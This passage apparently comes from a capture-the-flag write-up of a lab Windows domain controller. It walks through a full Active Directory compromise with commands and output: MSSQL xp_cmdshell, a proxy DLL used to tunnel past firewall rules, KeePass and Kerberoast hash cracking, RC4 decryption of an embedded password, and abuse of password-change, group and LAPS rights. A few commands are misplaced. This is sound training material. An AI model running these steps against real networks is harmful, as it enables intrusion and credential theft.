PrimaryStatus         : OK                                                         
Status                : Se analizó la regla correctamente desde el almacén. (65536)   
EnforcementStatus     : NotApplicable                                              
PolicyStoreSource     : PersistentStore                                            
PolicyStoreSourceType : Local                                                      
NULL                                                                               
Name                  : {BD3B64CC-44AC-4839-AE86-B56D6A780FB0}                     
DisplayName           : Deny ALL ICMP Shells                                       
Description           :                                                            
DisplayGroup          :                                                            
Group                 :                                                            
Enabled               : True                                                       
Profile               : Any                                                        
Platform              : {}                                                         
Direction             : Outbound                                                   
Action                : Block                                                      
EdgeTraversalPolicy   : Block                                                      
LooseSourceMapping    : False                                                      
LocalOnlyMapping      : False                                                      
Owner                 :                                                            
PrimaryStatus         : OK                                                         
Status                : Se analizó la regla correctamente desde el almacén. (65536)   
EnforcementStatus     : NotApplicable                                              
PolicyStoreSource     : PersistentStore                                            
PolicyStoreSourceType : Local 

This list shows several blocking rules. One of them is the WinRM rule, which blocks all incoming traffic to that service. We can also see other rules blocking outbound TCP, UDP, and ICMP connections (from the server to the outside), which prevents me from sending a reverse shell to my machine.


In the list of listening ports, we can verify that WinRM is actually listening on port 5985:

[bryan@sec]$ mssqlclient.py 'licordebellota.htb/sa:#mssql_s3rV1c3!2020'@10.129.228.115 -c 'xp_cmdshell "netstat -nat -p TCP"'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
SQL> xp_cmdshell "netstat -nat -p TCP"
output                                                                             
--------------------------------------------------------------------------------   
NULL                                                                               
Conexiones activas                                                                 
NULL                                                                               
  Proto  Dirección local          Dirección remota        Estado                   
           Estado de descarga                                                      
NULL                                                                               
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:49677          0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:49678          0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:49695          0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:49708          0.0.0.0:0              LISTENING       EnHost         
  TCP    0.0.0.0:49728          0.0.0.0:0              LISTENING       EnHost         
  TCP    10.129.228.115:53      0.0.0.0:0              LISTENING       EnHost         
  TCP    10.129.228.115:139     0.0.0.0:0              LISTENING       EnHost         
  TCP    10.129.228.115:389     10.129.228.115:54508   ESTABLISHED     EnHost         
  TCP    10.129.228.115:389     10.129.228.115:54543   ESTABLISHED     EnHost         
  TCP    10.129.228.115:389     10.129.228.115:54550   ESTABLISHED     EnHost         
  TCP    10.129.228.115:1433    10.10.15.79:46970      ESTABLISHED     EnHost         
  TCP    10.129.228.115:54508   10.129.228.115:389     ESTABLISHED     EnHost         
  TCP    10.129.228.115:54543   10.129.228.115:389     ESTABLISHED     EnHost         
  TCP    10.129.228.115:54550   10.129.228.115:389     ESTABLISHED     EnHost         
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       EnHost         
  TCP    127.0.0.1:389          127.0.0.1:49682        ESTABLISHED     EnHost         
  TCP    127.0.0.1:389          127.0.0.1:49684        ESTABLISHED     EnHost         
  TCP    127.0.0.1:389          127.0.0.1:49746        ESTABLISHED     EnHost         
  TCP    127.0.0.1:389          127.0.0.1:54504        ESTABLISHED     EnHost         
  TCP    127.0.0.1:49682        127.0.0.1:389          ESTABLISHED     EnHost         
  TCP    127.0.0.1:49684        127.0.0.1:389          ESTABLISHED     EnHost         
  TCP    127.0.0.1:49746        127.0.0.1:389          ESTABLISHED     EnHost         
  TCP    127.0.0.1:54504        127.0.0.1:389          ESTABLISHED     EnHost         
NULL  

We can also confirm that the DC can connect to that port:

[bryan@sec]$ mssqlclient.py 'licordebellota.htb/sa:#mssql_s3rV1c3!2020'@10.129.228.115 -c 'xp_cmdshell "powershell Test-NetConnection -ComputerName localhost -Port 5985"'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
SQL> xp_cmdshell "powershell Test-NetConnection -ComputerName localhost -Port 5985"
output                                           
----------------------------------------------   
NULL                                             
NULL                                             
ComputerName     : localhost                     
RemoteAddress    : ::1                           
RemotePort       : 5985                          
InterfaceAlias   : Loopback Pseudo-Interface 1   
SourceAddress    : ::1                           
TcpTestSucceeded : True                          
NULL

Firewall Evasion: MSSQL Proxy DLL

Although the firewall rules prevent us from communicating with WinRM, we can use the DC as a proxy to create a tunnel between the local machine and the DC’s internal services. For this, I’ll use mssqlproxy .

Before continuing, keep in mind that the project has its own modified version of mssqlclient.py, but it’s written for Python 2.7, so we’ll adapt it for Python 3+. The required changes are the following:


First, we need to upload the reciclador.dll DLL to the DC:

[bryan@sec]$ mssqlclient.py 'licordebellota.htb/sa:#mssql_s3rV1c3!2020'@10.129.228.115
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (sa  dbo@master)> upload reciclador.dll C:\Windows\Temp\reciclador.dll
[+] Data length (b64-encoded): 145.34 KB with MD5: 135c7ea49787409c29f57b3311c5a376
[+] Uploading...
[+] Uploaded
[+] certutil -decode "C:\Windows\Temp\reciclador.dll.b64" "C:\Windows\Temp\reciclador.dll"
[+] del "C:\Windows\Temp\reciclador.dll.b64"
[+] certutil -hashfile "C:\Windows\Temp\reciclador.dll" MD5
[+] MD5 hashes match
SQL (sa  dbo@master)>

Now we need to enable the Microsoft.SqlServer.Proxy.dll DLL:

[bryan@sec]$ python mssqlclient.py 'licordebellota.htb/sa:#mssql_s3rV1c3!2020'@10.129.228.115 -install -clr Microsoft.SqlServer.Proxy.dll
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[*] Proxy mode: install
[*] CLR enabled
[*] Assembly successfully installed
[*] Procedure successfully installed

Optionally, we can verify that reciclador.dll was loaded correctly:

[bryan@sec]$ python mssqlclient.py 'licordebellota.htb/sa:#mssql_s3rV1c3!2020'@10.129.228.115 -check -reciclador 'C:\Windows\Temp\reciclador.dll'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[*] Proxy mode: check
[*] Assembly is installed
[*] Procedure is installed
[*] reciclador is installed
[*] clr enabled

Finally, we’ll start the proxy server:

[bryan@sec]$ python mssqlclient2.py 'licordebellota.htb/sa:#mssql_s3rV1c3!2020'@10.129.228.115 -start -reciclador 'C:\Windows\Temp\reciclador.dll'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[*] Proxy mode: check
[*] Assembly is installed
[*] Procedure is installed
[*] reciclador is installed
[*] clr enabled
[*] Proxy mode: start
[*] Listening on port 1337...
[*] ACK from server!

The proxy server will be listening on port 1337, so I’ll add an entry to /etc/proxychains.conf to redirect all my SOCKS5 connections to that port:

[bryan@sec]$ tail /etc/proxychains.conf

[ProxyList]
socks5 127.0.0.1 1337

Finally, we can get a WinRM shell on the DC:

[bryan@sec]$ proxychains ewp -i 10.129.228.115 -u 'svc_mssql' -p '#mssql_s3rV1c3!2020'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.17
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to '10.129.228.115:5985' as 'svc_mssql'
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  10.129.228.115:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  10.129.228.115:5985  ...  OK
evil-winrm-py PS C:\Users\svc_mssql\Documents>

Shell as user 3v4Si0N

Cracking Keepass

Inside the svc_mssql user’s directory, there’s a KDBX file (KeePass), a personal database used to store passwords:

evil-winrm-py PS C:\Users\svc_mssql\Documents> tree C:\Users /F /A
Listado de rutas de carpetas
El número de serie del volumen es 94DB-AFCA
C:\USERS
+---3v4Si0N
+---administrador
+---cybervaca
+---Dr.Zaiuss
+---jari
+---Public
+---superfume
\---svc_mssql
    +---Desktop
    |       credentials.kdbx
    |       note.txt
    |       
    +---Documents
    +---Downloads
    +---Favorites
    +---Links
    +---Music
    +---Pictures
    +---Saved Games
    \---Videos

The file is password-protected so I’ll extract its hash and try to crack it:

[bryan@sec]$ keepass2john credentials.kdbx
credentials:$keepass$*2*60000*0*006e4f7f747a915a0301bded09da8339260ff96caf1ca7cef63b8fdd37c6a836*deabca672663938eddc0ee9e2726d9ff65d4ab7c6863f6f712f1c14b97c670a2*b33392502f94cd323ed25bc2d9c1749a*67ac769a9693b2ef7f1a149fb4e182042fcd2888df727ef4226edb5d9ae35c5c*dccf52b56e846bf088caa284beeaceffe16f304586ee13e87197387bac16ca6b
[bryan@sec]$ keepass2john credentials.kdbx > keepass_hash.txt
[bryan@sec]$ 
[bryan@sec]$ john keepass_hash.txt --wordlist=/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt 
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-opencl"
Use the "--format=KeePass-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mahalkita        (credentials)
1g 0:00:00:00 DONE (2026-09-14 12:55) 1.492g/s 334.3p/s 334.3c/s 334.3C/s alyssa..horses
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The hash was successfully cracked, and we got the password mahalkita.


I’ll now use this password to access KeePass:

Inside the database, we find the password Gu4nCh3C4NaRi0N!23 for the 3v4Si0N user.


These credentials are valid, and they also allow me to log in to the DC over SSH:

[bryan@sec]$ ssh 3v4Si0N@10.129.228.115

Microsoft Windows [Versión 10.0.17763.1879]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.

licordebellota\3v4si0n@PIVOTAPI C:\Users\3v4Si0N>hostname
PivotAPI

licordebellota\3v4si0n@PIVOTAPI C:\Users\3v4Si0N>ipconfig

Configuración IP de Windows

Adaptador de Ethernet Ethernet0 2:

   Sufijo DNS específico para la conexión. . : .htb
   Dirección IPv4. . . . . . . . . . . . . . : 10.129.228.115
   Máscara de subred . . . . . . . . . . . . : 255.255.0.0
   Puerta de enlace predeterminada . . . . . : 10.129.0.1

licordebellota\3v4si0n@PIVOTAPI C:\Users\3v4Si0N>tree C:\Users /F /A
Listado de rutas de carpetas
El número de serie del volumen es 94DB-AFCA 
C:\USERS
+---3v4Si0N
|   +---3D Objects
|   +---Contacts
|   +---Desktop
|   |       user.txt
|   |
|   +---Documents
|   +---Downloads    
|   +---Favorites
|   |   |   Bing.url
|   |   |
|   |   \---Links
|   +---Links
|   |       Desktop.lnk
|   |       Downloads.lnk
|   |
|   +---Music
|   +---Pictures
|   +---Saved Games
|   +---Searches
|   \---Videos
+---administrador
+---cybervaca
+---Dr.Zaiuss
+---jari
+---Public
+---superfume
\---svc_mssql
    +---Desktop
...[snip]...

That’s how we get the first flag.

Shell as user superfume

DACL Abuse

While exploring the filesystem, I found a C:\Developer directory, which I can’t access with my current user:

PS C:\> dir C:\

    Directorio: C:\

Mode                LastWriteTime         Length Name                                                                               
----                -------------         ------ ----                                                                               
d-----       08/08/2020     19:23                Developers                                                                         
d-----       08/08/2020     12:53                inetpub                                                                            
d-----       08/08/2020     22:48                PerfLogs                                                                           
d-r---       19/02/2021     13:42                Program Files                                                                      
d-----       09/08/2020     17:06                Program Files (x86)                                                                
d-r---       08/08/2020     19:46                Users                                                                              
d-----       29/04/2021     17:31                Windows                                                                            

PS C:\> icacls Developers\
Developers\: Acceso denegado.
Se procesaron correctamente 0 archivos; error al procesar 1 archivos

Even though we can’t access this directory, we should keep it in mind since it could contain sensitive information.


When looking at the DACLs for the 3v4Si0N user in BloodHound, we can see that it has GenericAll permissions over several domain users:


After digging a little deeper, we can build the following attack path:

This attack path is interesting because it’ll allow us to obtain an account that’s a member of the Developers group. This group could give us access to the C:\Developers\ directory we found earlier and potentially allow us to access sensitive files.


The Superfume user is a member of this group, and we can also see that it’s a member of the Remote Management Users group:


First, I’ll take advantage of the GenericAll permission we have over the Dr.zaiuss user to perform a Targeted Kerberoast and obtain this user’s TGS hash:

[bryan@sec]$ targetedKerberoast.py -d 'licordebellota.htb' -u '3V4SI0N' -p 'Gu4nCh3C4NaRi0N!23' --request-user 'dr.zaiuss'
[*] Starting kerberoast attacks
[*] Attacking user (dr.zaiuss)
[+] Printing hash for (Dr.Zaiuss)
$krb5tgs$23$*Dr.Zaiuss$LICORDEBELLOTA.HTB$licordebellota.htb/Dr.Zaiuss*$544ca70f126e7eba58be...[snip]...

Now I’ll try to crack it:

[bryan@sec]$ john dr.zaiuss_hash.txt --wordlist=/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwe123QWE!@#     (?)
1g 0:00:00:01 DONE (2026-09-14 13:10) 0.6849g/s 3042Kp/s 3042Kc/s 3042KC/s qwedsa2..quocuty
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We were able to crack the hash and obtained the password qwe123QWE!@#.


The Dr.zaiuss user also has GenericAll permissions over the Superfume user, so I’ll repeat exactly the same steps for this user:

[bryan@sec]$ targetedKerberoast.py -d 'licordebellota.htb' -u 'dr.zaiuss' -p 'qwe123QWE!@#' --request-user 'superfume'
[*] Starting kerberoast attacks
[*] Attacking user (superfume)
[+] Printing hash for (superfume)
$krb5tgs$23$*superfume$LICORDEBELLOTA.HTB$licordebellota.htb/superfume*$061b95a4a18cfbe...[snip]...
[bryan@sec]$ echo '$krb5tgs$23$*superfume$LICORDEBELLOTA.HTB$licordebellota.htb/superfume*$061b95a4a18cfbe...[snip]...' > superfume_hash.txt
[bryan@sec]$
[bryan@sec]$ john superfume_hash.txt --wordlist=/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwe123QWE!@#     (?)
1g 0:00:00:01 DONE (2026-09-14 13:12) 0.6993g/s 3106Kp/s 3106Kc/s 3106KC/s qwedsa2..quocuty
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The hash was successfully cracked, and the password we obtained is exactly the same as the previous user’s.


Now we can access the DC over WinRM and try to view the contents of the C:\Developers\ directory:

[bryan@sec]$ proxychains ewp -i 10.129.228.115 -u 'superfume' -p 'qwe123QWE!@#'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.17
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to '10.129.228.115:5985' as 'superfume'
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  10.129.228.115:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  10.129.228.115:5985  ...  OK
evil-winrm-py PS C:\Users\superfume\Documents>

evil-winrm-py PS C:\Developers> tree /F /A
Listado de rutas de carpetas
El n£mero de serie del volumen es 94DB-AFCA
C:.
+---Jari
|       program.cs
|       restart-mssql.exe
|       
\---Superfume

Inside the directory, there are two directories named after the users Jari and Superfume. Inside Jari’s directory, there’s a C# script and an executable.

Shell as user Administrador

.NET binary analysis

The restart-mssql.exe binary is a 64-bit executable written in C#:

[bryan@sec]$ file restart-mssql.exe 
restart-mssql.exe: PE32+ executable for MS Windows 6.00 (console), x86-64 Mono/.Net assembly, 2 sections

And the program.cs file appears to be the source code for this executable:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Threading;

namespace restart_oracle
{
    class Program
    {
        public class RC4
        {

            public static byte[] Encrypt(byte[] pwd, byte[] data)
            {
                int a, i, j, k, tmp;
                int[] key, box;
                byte[] cipher;

                key = new int[256];
                box = new int[256];
                cipher = new byte[data.Length];

                for (i = 0; i < 256; i++)
                {
                    key[i] = pwd[i % pwd.Length];
                    box[i] = i;
                }
                for (j = i = 0; i < 256; i++)
                {
                    j = (j + box[i] + key[i]) % 256;
                    tmp = box[i];
                    box[i] = box[j];
                    box[j] = tmp;
                }
                for (a = j = i = 0; i < data.Length; i++)
                {
                    a++;
                    a %= 256;
                    j += box[a];
                    j %= 256;
                    tmp = box[a];
                    box[a] = box[j];
                    box[j] = tmp;
                    k = box[((box[a] + box[j]) % 256)];
                    cipher[i] = (byte)(data[i] ^ k);
                }
                return cipher;
            }

            public static byte[] Decrypt(byte[] pwd, byte[] data)
            {
                return Encrypt(pwd, data);
            }

            public static byte[] StringToByteArray(String hex)
            {
                int NumberChars = hex.Length;
                byte[] bytes = new byte[NumberChars / 2];
                for (int i = 0; i < NumberChars; i += 2)
                    bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
                return bytes;
            }

        }

        static void Main()
        {
        
            string banner = @"
    ____            __             __                               __
   / __ \___  _____/ /_____ ______/ /_   ____ ___  ______________ _/ /
  / /_/ / _ \/ ___/ __/ __ `/ ___/ __/  / __ `__ \/ ___/ ___/ __ `/ / 
 / _, _/  __(__  ) /_/ /_/ / /  / /_   / / / / / (__  |__  ) /_/ / /  
/_/ |_|\___/____/\__/\__,_/_/   \__/  /_/ /_/ /_/____/____/\__, /_/   
                                                             /_/      
                                                 by @HelpDesk 2020

";
            byte[] key = Encoding.ASCII.GetBytes("");
            byte[] password_cipher = { };
            byte[] resultado = RC4.Decrypt(key, password_cipher);
            Console.WriteLine(banner);
            Thread.Sleep(5000);
            System.Diagnostics.Process psi = new System.Diagnostics.Process();
            System.Security.SecureString ssPwd = new System.Security.SecureString();
            psi.StartInfo.FileName = "c:\\windows\\syswow64\\cmd.exe";
            psi.StartInfo.Arguments = "/c sc.exe stop SERVICENAME ; sc.exe start SERVICENAME";
            psi.StartInfo.RedirectStandardOutput = true;
            psi.StartInfo.UseShellExecute = false;
            psi.StartInfo.UserName = "Jari";
            string password = "";
            for (int x = 0; x < password.Length; x++)
            {
               ssPwd.AppendChar(password[x]);
            }
            password = "";
            psi.StartInfo.Password = ssPwd;
            psi.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            psi.Start();

        }
    }
}

This program initializes a process to execute sc.exe and restart a service using sc.exe stop SERVICENAME and sc.exe start SERVICENAME. It’s executing this as the Jari user and performs several operations on the password, although the variable storing it (string password) is empty. The service it’s supposed to restart is probably the MSSQL service, but it uses SERVICENAME as a placeholder, and the user’s password isn’t included probably for security reasons.


I’ll analyze the restart-mssql.exe executable with dnSpy to decompile it and inspect its source code:

The source code is similar to the original code, but this time it reveals the string CR_is_a_crybaby and an encrypted byte array stored in the data variable.

The program uses Program.RC4.Decrypt(bytes, data) to decrypt the byte array, and the arguments include the CR_is_a_crybaby key and the encrypted data. The implementation of this method is as follows:

public static byte[] Decrypt(byte[] pwd, byte[] data)
{
	return Program.RC4.Encrypt(pwd, data);
}

The method simply calls Encrypt(pwd, data).


The implementation of the Encrypt() method is as follows:

public static byte[] Encrypt(byte[] pwd, byte[] data)
	{
		int[] array = new int[256];
		int[] array2 = new int[256];
		byte[] array3 = new byte[data.Length];
		int i;
		for (i = 0; i < 256; i++)
	{
		array[i] = (int)pwd[i % pwd.Length];
		array2[i] = i;
	}
		int num;
		for (i = (num = 0); i < 256; i++)
	{
		num = (num + array2[i] + array[i]) % 256;
		int num2 = array2[i];
		array2[i] = array2[num];
		array2[num] = num2;
	}
	int num3;
	num = (num3 = (i = 0));
	while (i < data.Length)
	{
		num3++;
		num3 %= 256;
		num += array2[num3];
		num %= 256;
		int num2 = array2[num3];
		array2[num3] = array2[num];
		array2[num] = num2;
		int num4 = array2[(array2[num3] + array2[num]) % 256];
		array3[i] = (byte)((int)data[i] ^ num4);
		i++;
	}
	return array3;
}

This is basically an implementation of RC4. It applies an XOR between the plaintext and a keystream derived from the secret key to encrypt the data, and the program uses the same procedure to decrypt it.


To decrypt this byte array, I’ll use the following Python script:

key = b"CR_is_a_crybaby"

data = bytes([
    66, 180, 137, 236, 54, 46, 36,
    97, 214, 48, 90, 72, 24, 83
])

S = list(range(256))
j = 0

# KSA (Key-Scheduling Algorithm)
for i in range(256):
    j = (j + S[i] + key[i % len(key)]) % 256
    S[i], S[j] = S[j], S[i]

# PRGA (Pseudo-Random Generation Algorithm)
i = 0
j = 0
result = bytearray()

for byte in data:
    i = (i + 1) % 256
    j = (j + S[i]) % 256
    S[i], S[j] = S[j], S[i]

    k = S[(S[i] + S[j]) % 256]
    result.append(byte ^ k)

print(result)

The script performs a procedure similar to the Encrypt() function.


When we run the script, we get the plaintext string:

[bryan@sec]$ python rc4_decrypt.py
bytearray(b'Cos@Chung@!RPG')
[bryan@sec]$ nxc smb 10.129.228.115 -u 'jari' -p 'Cos@Chung@!RPG' -M change-password -o USER=gibdeon NEWPASS=Password123!
SMB         10.129.228.115  445    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.115  445    PIVOTAPI         [+] LicorDeBellota.htb\jari:Cos@Chung@!RPG 

This gives us a valid password for Jari.


Alternatively, we can decrypt the string using CyberChef . First, we need to encode the byte array as hexadecimal and pass it as input to the RC4 function along with the secret key:

DACL Abuse

Earlier, we saw that the Jari user was important because it would allow us to read passwords stored in LAPS. The attack path is as follows:

Jari can change the password of the Gibdeon user. Since this user is a member of Account Operators, it has GenericAll permissions over the LAPS ADM group.


The first thing we need to do is change the password of the Gibdeon user:

[bryan@sec]$ nxc smb 10.129.228.115 -u 'jari' -p 'Cos@Chung@!RPG' -M change-password -o USER=gibdeon NEWPASS=Password123!
SMB         10.129.228.115  445    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.115  445    PIVOTAPI         [+] LicorDeBellota.htb\jari:Cos@Chung@!RPG 
CHANGE-P... 10.129.228.115  445    PIVOTAPI         [+] Successfully changed password for gibdeon

Now we’ll take advantage of the GenericAll permissions that the Gibdeon user has over the LAPS ADM group and add the user to the group:

[bryan@sec]$ nxc smb 10.129.228.115 -u 'gibdeon' -p 'Password123!' -M modify-group -o USER='gibdeon' GROUP='LAPS ADM'
SMB         10.129.228.115  445    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.115  445    PIVOTAPI         [+] LicorDeBellota.htb\gibdeon:Password123! 
MODIFY-G... 10.129.228.115  445    PIVOTAPI         [+] Successfully added gibdeon to group LAPS ADM

Finally, I’ll read the passwords stored in LAPS:

[bryan@sec]$ nxc smb 10.129.228.115 -u 'gibdeon' -p 'Password123!' --laps
SMB         10.129.228.115  445    PIVOTAPI         [*] Windows 10 / Server 2019 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.228.115  445    PIVOTAPI         [-] PIVOTAPI\administrator:8gaq15fVbVKxoWZiv4wg STATUS_LOGON_FAILURE

This shows us the Administrator password, whose actual username is Administrador.


We can finally use this password to get a WinRM shell and retrieve the last flag:

[bryan@sec]$ proxychains ewp -i 10.129.228.115 -u 'Administrador' -p '8gaq15fVbVKxoWZiv4wg'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.17
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to '10.129.228.115:5985' as 'Administrador'
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  10.129.228.115:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  10.129.228.115:5985  ...  OK
evil-winrm-py PS C:\Users\administrador\Documents>

evil-winrm-py PS C:\Users\administrador\Documents> (Get-ChildItem -Path C:\Users -Recurse -ErrorAction SilentlyContinue | ? { $_.Nam
e -like "*user.txt" -or $_.Name -like "root.txt" }).ForEach({ echo "Content of file $($_.FullName) : $(type $_.FullName)" })

Content of file C:\Users\3v4Si0N\Desktop\user.txt : 9e6cd97f3750deccae3e59c5af5a449a
